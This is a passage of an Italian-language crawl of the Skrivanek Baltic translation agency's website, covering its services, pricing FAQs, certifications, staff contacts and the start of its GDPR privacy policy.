management, di processo operativo, di uso della tecnologia e di altre caratteristiche specifiche del settore. TRADUZIONE AUTOMATICA Per migliorare la qualità e la velocità del processo di traduzione utilizziamo le ultime tecnologie di traduzione, come la traduzione automatica. Essa si è sviluppata in modo significativo e permette di risparmiare molto tempo, senza tuttavia sacrificare la fluidità e la chiarezza del testo da tradurre. Skrivanek ha sviluppato un proprio sistema di traduzione automatica neurale: Skrivanek NMT. Inoltre, collaboriamo anche con i principali fornitori di servizi di traduzione automatica neurale, come ad esempio Google e DeepL, soprattutto quando ci troviamo di fronte a lingue che non sono ancora supportate dal nostro sistema di traduzione automatica. Se necessario, possiamo anche adattare il sistema di traduzione automatica neurale al settore di interesse. Abbiamo anche la certificazione ISO 18587, la quale definisce i requisiti di un processo di post-editing completo e le competenze da avere per svolgere la revisione di traduzioni automatiche. RISERVATEZZA DEI DATI Garantiamo la riservatezza dei dati dei nostri clienti. La norma ISO/IEC 27001:2022, riguardante lo standard del Sistema di gestione della sicurezza delle informazioni, garantisce che la nostra azienda attua misure volte a garantire la sicurezza delle informazioni. Essa prevede anche lo svolgimento dei controlli necessari finalizzati a garantire la sicurezza e la riservatezza dei dati affidatici dal cliente. UN APPROCCIO INDIVIDUALE Ogni cliente e progetto di traduzione è un caso a sé stante. Lavoriamo con testi in diversi formati; troviamo il traduttore giusto per il vostro settore ed effettuiamo una correzione di bozze approfondita. FORNIAMO OGNI TIPO DI TRADUZIONE Le traduzioni sono la nostra forza, non importa quale sia il settore: traduzioni specialistiche, traduzioni generali, traduzioni certificate, o servizi di localizzazione di traduzioni. Grazie al nostro team esperto possiamo fornire qualsiasi tipo di traduzione. GESTIAMO GRANDI PROGETTI Nella nostra agenzia ci occupiamo con molto piacere di grandi progetti. Siamo inoltre felici di aiutarvi con progetti di grandi dimensioni e a lungo termine, come ad esempio lunghe traduzioni tecniche. Per i nostri clienti, abbiamo tradotto con successo migliaia di pagine di capitolati d'appalto o di materiali per procedimenti legali dove, per garantire una traduzione accurata, è necessario comprendere la natura del caso, la controversia e la legge. QUANTO COSTA IL SERVIZIO DI TRADUZIONE? Una volta fatto richiesta per la traduzione, riceverete un preventivo entro 30 minuti. Il prezzo della traduzione dipende dal numero di parole, dalla combinazione linguistica, dalla settorialità del testo, ecc. La traduzione viene poi corretta da un madrelingua della lingua di arrivo. Per un preventivo più preciso, inviateci il documento da tradurre e ne calcoleremo il prezzo. I traduttori della nostra agenzia di traduzione lavorano con documenti in tutti i formati. IN QUANTO TEMPO SARÀ PRONTA LA TRADUZIONE? La traduzione viene svolta e corretta da un madrelingua della lingua di arrivo. Prima di iniziare la traduzione concordiamo sempre termine di consegna ma, in generale, se un testo ha fino 500 parole allora può essere tradotto in un giorno lavorativo. Fino a 1000 parole sarà invece necessario un giorno lavorativo e mezzo. Sono più di 3000 i traduttori qualificati presenti nel database di Skrivanek, permettendoci quindi di fornire traduzioni in ogni lingua con tempistiche adeguate. Possiamo anche fornire traduzioni per progetti urgenti. In questo caso, concorderemo separatamente la consegna della traduzione e il prezzo sarà più elevato. Qualità e riservatezza garantite dai certificati ISOI nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minuti CERCATE UN SERVIZIO DI TRADUZIONE O UNA CONSULENZA? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia TRADUZIONI SPECIALISTICHE L'utilizzo della terminologia del settore è fondamentale. Per questa ragione, i nostri traduttori non si affidano solo ai loro studi filologici e alle moderne tecnologie a loro disposizione, ma anche alla loro formazione in ambito medico, giuridico, ingegneristico e in altri settori, la quale aiuta a garantire i risultati migliori. Scopri di più TRADUZIONI GENERALI La traduzione va oltre la semplice traduzione di parole, si tratta infatti di rendere il testo di partenza in un’altra lingua senza perdere il significato. Ci occupiamo della tradurre velocemente documenti che non necessitano conoscenze settoriali pregresse. Contattateci CERTIFICAZIONE NOTARILE Ci occupiamo di traduzioni con certificazione notarile, le quali devono essere accompagnate dal documento originale e dalle sue copie, in conformità con la legislazione della Repubblica di Lettonia. L’accuratezza, la precisione e la conformità dei documenti è verificata da un notaio, mentre un traduttore giurato si prende piena responsabilità della qualità delle traduzioni. Scopri di più LOCALIZZAZIONE Non ci fermiamo alla traduzione, ma ci assicuriamo anche che i prodotti e i software localizzati funzionino bene. Scopri di più --- > Un fornitore di servizi linguistici con oltre 25 anni di esperienza: servizi linguistici professionali per aziende e privati. Contattateci! - Published: 2024-02-09 - Modified: 2024-08-22 - URL: https://skrivanek.lv/ Lingue straniere per il vostro successo Nel mercato da più di 25 anni! Traduzione Interpretazione Localizzazione Formazione linguistica SKRIVANEK, LA VOSTRA AGENZIA DI TRADUZIONE E SCUOLA DI LINGUE 1 Con più di 25 anni di esperienza nel settore e con più di cinquanta filiali in tutto il mondo, Skrivanek è uno dei maggiori fornitori di servizi linguistici al mondo. È dal 2003 che Skrivanek Baltic opera in Lettonia fornendo ai propri clienti servizi linguistici di alta qualità. 0+ Diverse combinazioni linguistiche 0+ MILIONI Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO SOME REASONS TO CHOOSE US  Quality and performance guarantee We are certified according to ISO 9001, EN 17100, and ISO 27001. We take responsibility for our work and never miss deadlines! Read more  Latest translation technologies We use modern technological achievements to promote quality and productivity! Read more  Wide range of language solutions We grow and develop together with you to provide the best and widest range of language solutions in the Baltics! Contact us FORNIAMO SERVIZI LINGUISTICI PER DIVERSI SETTORI IN OLTRE 300 COMBINAZIONI LINGUISTICHE Lingua ceca Lingua danese Lingua estone Lingua finlandese Lingua francese Lingua greca Lingua inglese Lingua italiana Lingua lituana Lingua norvegese Lingua polacca Lingua russa Lingua spagnola Lingua svedese Lingua tedesca Altre lingue Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  Richiedi un preventivo / Facci una domanda Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Domande frequenti Skrivanek Baltic è un’agenzia di traduzione certificata che opera e fornisce servizi linguistici in Lettonia dal 2003. Skrivanek è uno dei principali fornitori di servizi linguistici al mondo e vanta più di 25 anni di esperienza. Attualmente abbiamo quasi 50 filiali in vari paesi: Stati Uniti, Austria, Belgio, Bulgaria, Repubblica Ceca, Estonia, Lituania, Polonia, Slovacchia, Slovenia e Germania. La Scuola di lingue di Skrivanek Baltic è stata inaugurata nel 2007 e offre ad adulti e bambini la possibilità di imparare una nuova lingua, come anche informazioni dettagliate ad essa relative, grazie all’aiuto di insegnanti esperti e altamente qualificati. I prezzi dei servizi di traduzione sono calcolati considerando il numero di parole del documento da tradurre, la combinazione linguistica e altri elementi. Inviateci i vostri documenti e, prima di iniziare la traduzione, vi invieremo il preventivo con il prezzo del servizio. La ricezione di un preventivo gratuito non comporta alcun obbligo di collaborazione. Sì, tutti i prezzi per le persone fisiche sono comprensivi di IVA. Per le aziende i prezzi sono invece indicati al netto dell'IVA. Infatti, in conformità alla normativa UE, non applichiamo l’IVA sui servizi forniti ad aziende con partita IVA in altri paesi membri; in base alla normativa sull'inversione contabile, l'onere fiscale si trasferisce al destinatario dei servizi. Se il documento è in Microsoft Word, basta utilizzare la funzione Conteggio parole (Revisione→Conteggio parole). Se il vostro documento è invece in un altro formato (stampa, JPG, HTML, PHP, ASP, ecc. ), inviatelo al nostro indirizzo e-mail e vi forniremo un preventivo gratuito. Concorderemo la scadenza prima di iniziare l'ordine. In genere, per tradurre fino a 500 parole è necessario un giorno lavorativo, mentre dalle 1000 in su sarà necessario almeno un giorno lavorativo e mezzo. In casi eccezionali, eseguiamo anche traduzioni urgenti. Può essere in qualsiasi formato elettronico - siamo in grado di gestire un gran numero di formati. Se il vostro documento non è disponibile in formato elettronico, inviateci una foto. Possiamo tradurre qualsiasi tipo di testo in virtualmente qualsiasi formato elettronico, mantenendo sempre la formattazione del documento originale. Nel caso dei servizi di localizzazione, ci atteniamo alle istruzioni specifiche fornite dal cliente o alle impostazioni dettate dal software. Non vediamo l’ora! Qui a Skrivanek siamo altamente competenti ed esperti nella traduzione e localizzazione di diverse tipologie di siti web e di sistemi di gestione dei contenuti. Garantiamo sempre un approccio professionale e troviamo la soluzione più adatta alla vostra situazione specifica, così da garantire i migliori risultati per ogni combinazione linguistica. Nonostante la maggior parte dei nostri clienti siano persone legali, aiutiamo con piacere anche i privati, i quali solitamente ci richiedono traduzioni certificate da un notaio. Sono molto popolari anche i campi studio per bambini e i corsi di lingua. Sono entrambi linguisti specializzati ma, mentre i traduttori forniscono traduzioni scritte, gli interpreti forniscono traduzioni orali consecutive o simultanee. Se possibile, lavoriamo sempre elettronicamente con i documenti originali e non apportiamo alcuna modifica a stile o formattazione. Se necessario, grazie all’aiuto del nostro team di desktop publishing (DTP), possiamo garantire che la traduzione del documento del cliente abbia lo stesso aspetto dell’originale o che venga formattato secondo le istruzioni del cliente. Siamo certificati ISO 9001, EN 17100, EN ISO 14001, EN ISO 18585 e ISO 27001. Diamo estrema importanza alla privacy dei nostri clienti, ci assumiamo la responsabilità di tutto ciò che facciamo e siamo sempre puntuali! La norma EN 17100 specifica i requisiti di tutti quegli aspetti del processo di traduzione che influenzano in maniera diretta la qualità e la fornitura dei servizi di traduzione. Inoltre, affinché i nostri clienti possano stare tranquilli, abbiamo stipulato un accordo di responsabilità professionale con la compagnia assicurativa internazionale Colonnade Insurance S. A. Forniamo anche traduzioni con certificazione notarile o le certifichiamo noi stessi. No, sono i project manager che accettano e supervisionano gli ordini; essi fanno anche da tramite tra il cliente finale e il traduttore. I traduttori e gli interpreti di Skrivanek Baltic possono fornire servizi in più di 110 lingue. Forniamo una grande varietà di servizi linguistici: servizi di traduzione e di interpretazione, servizi di localizzazione, di adattamento di testi, di copywriting, di desktop publishing (DTP) e di formazione linguistica. I servizi di interpretazione vengono forniti in occasione di conferenze e incontri di lavoro, ma anche durante procedimenti giudiziari. I servizi di traduzione comprendono invece traduzioni specialistiche e generali relative a diversi settori. Sì, spesso creiamo anche dei team di linguisti specializzati per ogni partner con cui cooperiamo, il che significa che i servizi saranno forniti dagli stessi interpreti o traduttori che se ne sono occupati in precedenza. Accogliamo i vostri feedback e impieghiamo con piacere gli stessi linguisti specializzati. Anche i nostri clienti abituali si interfacciano sempre con lo stesso project manager. Dipende da ogni singolo caso e dalle vostre esigenze. Siete voi a decidere per quanto tempo avete bisogno di un interprete. Nel caso di testi di marketing o testi pubblicitari, una normale traduzione non è abbastanza: il più delle volte il testo deve essere localizzato e idiomi e altre espressioni devono essere cambiati per garantire che il significato possa essere capito al volo dagli utenti nella lingua di arrivo. Questo avviene quando i testi sono adattati in modo da essere pienamente conformi ai requisiti del pubblico della lingua di arrivo. Gli strumenti di traduzione assistita (CAT) sono programmi il cui scopo è quello di facilitare il processo di traduzione. Non si tratta di strumenti che si basano sulla traduzione computerizzata o automatizzata, ma di strumenti che permettono, tra gli altri, di svolgere le traduzioni più velocemente, di garantire un uso consistente della terminologia e di ridurre i costi del processo traduttivo. Questi strumenti permettono anche di salvare tutti i testi tradotti, il che vuol dire che basterà tradurre frasi identiche una volta sola. Essi sono particolarmente utili quando i testi da tradurre sono di carattere finanziario e tecnico, oltre che descrizioni di medicinali, siti web e software. --- > Servizi linguistici di qualità per aziende e privati. Uno dei principali fornitori di servizi linguistici al mondo. Per saperne di più! - Published: 2024-02-09 - Modified: 2024-02-12 - URL: https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/ SKRIVANEK, LA VOSTRA AGENZIA DI TRADUZIONE E SCUOLA DI LINGUE 1 Con più di 25 anni di esperienza nel settore e con più di cinquanta filiali in tutto il mondo, Skrivanek è uno dei maggiori fornitori di servizi linguistici al mondo. È dal 2003 che Skrivanek Baltic opera in Lettonia fornendo ai propri clienti servizi linguistici di alta qualità. MISSIONE La missione di Skrivanek Baltic è quella di fornire servizi linguistici di alta qualità per aiutare aziende e privati a comunicare in modo semplice e con successo, ma anche per aiutarli a svolgere le loro attività in maniera sostenibile sia in Lettonia che all’estero. VISIONE La visione di Skrivanek Baltic è quella di essere un’azienda con un servizio clienti di altissimo livello, con elevati standard di qualità, con impiegati soddisfatti e con una buona reputazione. OBIETTIVI essere un'azienda socialmente responsabile e sostenibile; introdurre innovazioni nel settore attraverso le attività quotidiane dell'azienda; essere un partner di cooperazione disponibile di cui i nostri clienti e fornitori possono fidarsi; partecipare alla crescita del settore e agevolare lo sviluppo della sua reputazione e qualità in Lettonia. Codice di condotta VALORI Agilità – siamo un’azienda agile in grado di adattarsi rapidamente alle richieste del cliente e ai continui cambiamenti che caratterizzano il panorama delle tecnologie linguistiche. Grazie a questa nostra flessibilità, garantiamo di poter soddisfare le esigenze dei nostri clienti, le quali sono in continua evoluzione. Incoraggiamo il nostro team a sperimentare e promuoviamo la cultura dell’innovazione e uno sviluppo continuo. Tecnologie – accogliamo l’innovazione e sfruttiamo tecnologie all’avanguardia per aumentare l’efficienza e qualità dei nostri servizi linguistici. Questa nostra propensione all’utilizzo degli ultimi sviluppi della tecnologia è parte integrante del nostro impegno verso l’innovazione e la soddisfazione del cliente. Lavoro di squadra e collaborazione su scala globale – crediamo nella forza di una rete globale di professionisti che lavorano insieme da diverse parti del mondo per raggiungere risultati straordinari. Ci impegniamo per creare un ambiente lavorativo inclusivo e variegato dove sia individui che gruppi di lavoro possono dare il meglio. Responsabilità e creazione di valore – abbiamo a cuore il vostro successo e ci impegniamo per essere un valore aggiunto per la vostra azienda. Potete affidarvi a noi per servizi di tecnologia linguistica personalizzati, affidabili e forniti sempre nelle tempistiche stabilite. I NOSTRI VANTAGGI qualità affidabilelunga esperienza nel settorevasta gamma di servizicolleghi competenti in 17 paesici occupiamo noi di tutti i servizi che offriamoutilizziamo gli ultimi sviluppi tecnologici del settoreelevata capacità di gestire progetti di grandi dimensionisiamo responsabili e pronti a venire incontro alle vostre richiesteDomande frequenti I NOSTRI DIPENDENTI E FORNITORI IL NOSTRO TEAM Sono più di 360 i dipendenti che lavorano a tempo pieno presso la nostra agenzia e ognuno di loro ha un’elevata competenza in almeno un lingua del mondo. Il nostro team è composto anche da linguisti, specialisti IT, analisti ed economisti. TRADUTTORI Le traduzioni sono svolte solo da traduttori madrelingua della lingua di arrivo, la quale è la lingua ufficiale della nazione in cui vivono, e molti di essi sono membri di associazioni professionali di traduttori. Una volta ricevute abbastanza informazioni sull’argomento della traduzione, saremo in grado di scegliere il linguista migliore per occuparsene. CORRETTORI DI BOZZE E REVISORI Ogni traduzione è corretta da un correttore di bozze e da un revisore, i quali sono madrelingua della lingua di arrivo ed esperti del settore della traduzione. Essi si assicurano che il testo sia scorrevole e che la terminologia sia utilizzata correttamente. Lavora con noi Vasilijs Ragačevičs Direttore generale vasilijs@skrivanek. lv Artūrs Peha Responsabile dello sviluppo aziendale arturs@skrivanek. lv Dana Laizāne Direttore di progetti di localizzazione e intelligenza artificiale dana@skrivanek. lv Jeļena Lapoška Direttrice dell'ufficio amministrativo jelena. laposka@skrivanek. lv Aiga Matveja Direttrice della scuola di lingue macibas@skrivanek. lv Ivars Treskovskis Direttore dell’ufficio traduzioni ivars@skrivanek. lv Lelde Calmane Responsabile dell’ufficio Qualità lelde@skrivanek. lv Jānis Luns Marketing Manager janis. luns@skrivanek. lv Uldis Krūmiņš Responsabile IT uldis@skrivanek. lv AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Per aumentare la qualità dei servizi e migliorare le misure di sicurezza, Skrivanek ha implementato una serie di sistemi di gestione. - Published: 2024-02-09 - Modified: 2024-10-31 - URL: https://skrivanek.lv/kvalitate-un-drosiba/ Per migliorare la qualità dei servizi offerti, rafforzare la nostra posizione nel mercato dei servizi linguistici, nonché per migliorare l’ambiente e le misure di sicurezza delle informazioni, Skrivanek Baltic ha implementato dei sistemi di gestione. Siamo orgogliosi di dire che il Gruppo Skrivanek è stato il primo fornitore di servizi linguistici dell'Europa centrale e orientale a soddisfare pienamente i requisiti del sistema di gestione della qualità ISO 9001, ricevendo il certificato dal TÜV Suddeutschland Holding nel 2002. La nostra azienda vanta anche la certificazione professionale specifica per il settore della traduzione EN 17100:2015. Essa definisce i requisiti che il processo traduttivo e tutti gli aspetti ad esso legati devono soddisfare, incluso il dimostrare qualità e tracciabilità. In quanto azienda rispettosa dell'ambiente, abbiamo introdotto un sistema di gestione ambientale conforme alla norma EN ISO 14001. Siamo pienamente consapevoli dei rischi che corriamo quando, nello svolgimento delle nostre attività, lavoriamo con informazioni. Per questa ragione abbiamo deciso di implementare anche un sistema di gestione della sicurezza delle informazioni conforme allo standard EN ISO/IEC 27001 in modo da proteggere le informazioni dalla distruzione, furto o abuso. Il nostro desiderio è quello di essere affidabili e di essere in grado di proteggere le informazioni riguardanti le nostre proprietà e quelle dell’amministrazione pubblica e statale, del pubblico generale, ma anche dei nostri partner commerciali e dipendenti, in conformità alla legislazione e alle nostre norme di sicurezza. Nell’autunno 2021, Skrivanek Baltic ha anche ottenuto il certificato ISO 18587, il quale conferma che l’azienda ha implementato tutte le procedure necessarie per garantire servizi di post-editing di alta qualità di testi tradotti con software di traduzione automatica. Questo standard è ancora relativamente nuovo. EN ISO 9001 L’implementazione del sistema di gestione di qualità conforme allo standard EN ISO 9001:2015 certifica che la nostra azienda ha implementato i processi necessari affinché i nostri servizi possano soddisfare le richieste dei nostri clienti, come anche i requisiti imposti dalla legge. Vedi il certificato EN ISO 14001 Il certificato EN ISO 14001:2015 conferma l’interesse della nostra azienda verso l’ambiente, compresi anche l’utilizzo di tecnologie e materiali rispettosi dell’ambiente, il fatto che facciamo la raccolta differenziata e che stampiamo documenti solo se strettamente necessario. Vedi il certificato EN 17100 In Skrivanek lavoriamo in conformità con lo standard di gestione dei processi di traduzione EN 17100:2015. Questo vuol dire che la nostra azienda opera rispettando i requisiti imposti in termini di selezione di specialisti, di comunicazione, di gestione di progetto, di procedure operative, di uso di tecnologie e di altre caratteristiche specifiche del settore. Vedi il certificato ISO/IEC 27001 L‘implementazione del sistema di gestione della sicurezza delle informazioni conforme allo standard ISO/IEC 27001:2022 garantisce che la nostra azienda attua misure finalizzate alla messa in sicurezza delle informazioni. Esso fa anche sì che siano eseguiti i controlli necessari affinché sia garantita la sicurezza e la riservatezza dei dati affidatici dai nostri partner commerciali Vedi il certificato ISO 18587 Questo standard è stato creato appositamente per i fornitori di servizi linguistici in modo da migliorare la qualità del processo di post-editing in modo continuo e misurabile. L’ISO 18587 si riferisce principalmente ai processi di post-editing e al flusso di lavoro in cui il project manager e il post-editor lavorano insieme per completare il progetto. Vedi il certificato Domande frequenti Forniamo una grande varietà di servizi linguistici: servizi di traduzione e di interpretazione, servizi di localizzazione, di adattamento di testi, di copywriting, di desktop publishing (DTP) e di formazione linguistica. I servizi di interpretazione vengono forniti in occasione di conferenze e incontri di lavoro, ma anche durante procedimenti giudiziari. I servizi di traduzione comprendono invece traduzioni specialistiche e generali relative a diversi settori. Siamo certificati ISO 9001, EN 17100, EN ISO 14001, EN ISO 18585 e ISO 27001. Diamo estrema importanza alla privacy dei nostri clienti, ci assumiamo la responsabilità di tutto ciò che facciamo e siamo sempre puntuali! La norma EN 17100 specifica i requisiti di tutti quegli aspetti del processo id traduzione che influenzano in maniera diretta la qualità e la fornitura dei servizi di traduzione. Inoltre, affinché i nostri clienti possano stare tranquilli, abbiamo stipulato un accordo di responsabilità professionale con la compagnia assicurativa internazionale Colonnade Insurance S. A. Forniamo anche traduzioni con certificazione notarile o le certifichiamo noi stessi. No, sono i project manager che accettano e supervisionano gli ordini; essi fanno anche da tramite tra il cliente finale e il traduttore. I traduttori e gli interpreti di Skrivanek Baltic possono fornire servizi in più di 110 lingue. RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  OPERIAMO NEL MERCATO DA OLTRE 25 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ MILIONI Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO --- > Questo certificato è la prova che la qualità dei servizi Skrivanek soddisfa le aspettative dei clienti e i requisiti legali. - Published: 2024-02-09 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-iso-9001-kvalitates-vadibas-sistemas-sertifikats/ EN ISO 9001:2015 – SISTEMA DI GESTIONE DELLA QUALITÀ --- > Questo certificato dimostra il nostro impegno nei confronti dell'ambiente, compreso l'uso di tecnologie e materiali ecologici, il riciclaggio, ecc. - Published: 2024-02-09 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-iso-14001-vides-vadibas-sistemas-sertifikats/ EN ISO 14001:2015 – SISTEMA DI GESTIONE AMBIENTALE --- > Questo dimostra che il nostro reclutamento di specialisti della traduzione, il processo di lavoro, l'uso di tecnologie e altri aspetti specifici del settore soddisfano i requisiti. - Published: 2024-02-09 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-17100-tulkosanas-procesu-vadibas-sistemas-sertifikats/ EN 17100:2015 – STANDARD DI GESTIONE DELLA TRADUZIONE --- > Poiché uno dei valori di Skrivanek è la responsabilità verso i clienti, che include la sicurezza dei dati, abbiamo introdotto un sistema di gestione della sicurezza delle informazioni. - Published: 2024-02-09 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/iso-iec-27001-informacijas-drosibas-vadibas-sistemas-sertifikats/ ISO/IEC 27001:2022 – SISTEMA DI GESTIONE DELLA SICUREZZA DELLE INFORMAZIONI --- > Il valore di Skrivanek è la responsabilità del cliente, che include l'accuratezza delle traduzioni automatiche. Siamo certificati ISO 18587. - Published: 2024-02-09 - Modified: 2024-10-30 - URL: https://skrivanek.lv/iso-18587-2017/ - Translation Priorities: Optional ISO 18587:2017 – CERTIFICATO RIGUARDANTE LA GESTIONE DELL’OUTPUT DELLA TRADUZIONE AUTOMATICA --- > Informativa sulla privacy del fornitore di servizi linguistici internazionali Skrivanek Baltic. Il responsabile della protezione dei dati della società Uldis Krūmiņš: dpo@skrivanek.lv. - Published: 2024-02-09 - Modified: 2024-02-09 - URL: https://skrivanek.lv/privatuma-politika/ Il titolare del trattamento dei dati si occupa della privacy e dei dati personali dei visitatori e rispetta i loro diritti in materia di trattamento di dati personali, nonché la legalità di tale trattamento in conformità con gli atti legali applicabili: Regolamento (UE) n. 2016/679 del Parlamento europeo e del Consiglio del 27 aprile 2016, relativo alla protezione delle persone fisiche con riguardo al trattamento dei dati personali, nonché alla libera circolazione di tali dati, (Regolamento), e altri atti giuridici applicabili in materia di privacy e trattamento dei dati. Tenendo conto di ciò, il titolare del trattamento dei dati ha elaborato la presente Informativa sulla privacy con il fine di fornire le Informazioni richieste dal Regolamento. 1. 1. Il Responsabile del trattamento dei dati personali è SIA "Skrivanek Baltic", numero di registrazione: 40003626172, sede legale: Lāčplēša iela 87C, Riga, LV-1011, numero di telefono: (+371) 67240 364 (da qui in poi “Skrivanek”), siti web: www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv. 2. 1. Skrivanek si occupa del trattamento dei dati personali del cliente nella misura e nelle modalità previste e consentite dalle leggi della Repubblica di Lettonia e dell’Unione Europea. Anche altri responsabili del trattamento dei dati di Skrivanek possono ricevere ed elaborare i dati dei clienti. Per ulteriori informazioni sui partner, contattare Skrivanek utilizzando i canali di comunicazione indicati (vedere "Contatti" sulla pagina web di Skrivanek). 3. 1. Regolamento; 3. 2. Legge in materia di trattamento dei dati personali; 3. 3. Procedura per l'organizzazione e il funzionamento dei campi studio per bambini (Cdm lettone, n. 981); 3. 4. Legge in materia di tutela dei diritti del bambino. 4. 1. L’informativa sulla privacy (“Informativa”) contiene le informazioni su come Skrivanek raccoglie, elabora, archivia, condivide, elimina e protegge i dati del cliente, assicurando quindi che essi siano trattati secondo la legge, nonché in un modo giusto e trasparente verso i clienti. Tale Informativa si applica ai dati personali dei clienti e a qualsiasi trattamento dei dati personali e servizi forniti forniti ai clienti. 4. 2. Nel caso in cui Skrivanek aggiorni la presente informativa, tutte le modifiche saranno pubblicate sul sito web www. skrivanek. lv, nella sezione “Chi siamo” - “Informativa sulla privacy“. 5. 1. Le categorie di dati personali trattati da Skrivanek dipendono dai Servizi forniti ai Clienti. Skrivanek è autorizzata al trattamento delle seguenti categorie di dati personali per gli scopi di cui al paragrafo 7 della presente Informativa: 5. 1. 1. nome, cognome, codice personale/data di nascita, indirizzo postale, numero di telefono e indirizzo e-mail; 5. 1. 2. coordinate bancarie; 5. 1. 3. informazioni sui documenti d'identità (numero del documento, data e luogo di rilascio, ecc. ); 5. 1. 4. i dati forniti dal cliente a Skrivanek; 5. 1. 5. registrazioni e immagini di videosorveglianza; 5. 1. 6. le informazioni richieste dalle disposizioni normative in materia di salute dei partecipanti ai campi studio per bambini. 5. 2. Skrivanek tratta tali dati per utilizzare i Servizi per i fini di cui al paragrafo 7 della presente Informativa: 5. 2. 1. Cookie (dati di navigazione) - Informazioni riguardanti le visite delle pagine web di Skrivanek (www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv) (da qui in poi "pagine web di Skrivanek"). 6. 1. Il consenso del cliente - in qualità di persona interessata, il/la Cliente dà il consenso alla raccolta e al trattamento dei propri dati personali per scopi specifici. Tale decisione è libera e indipendente e può essere presa in ogni momento, permettendo quindi a Skrivanek di trattare i dati per scopi specifici. Se fornito per iscritto, il consenso del Cliente è vincolante (si fornisce compilando il modulo presso la sede di Skrivanek, inviando una richiesta elettronica dopo l'identificazione del Cliente o utilizzando le pagine web www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv). Il Cliente ha il diritto di 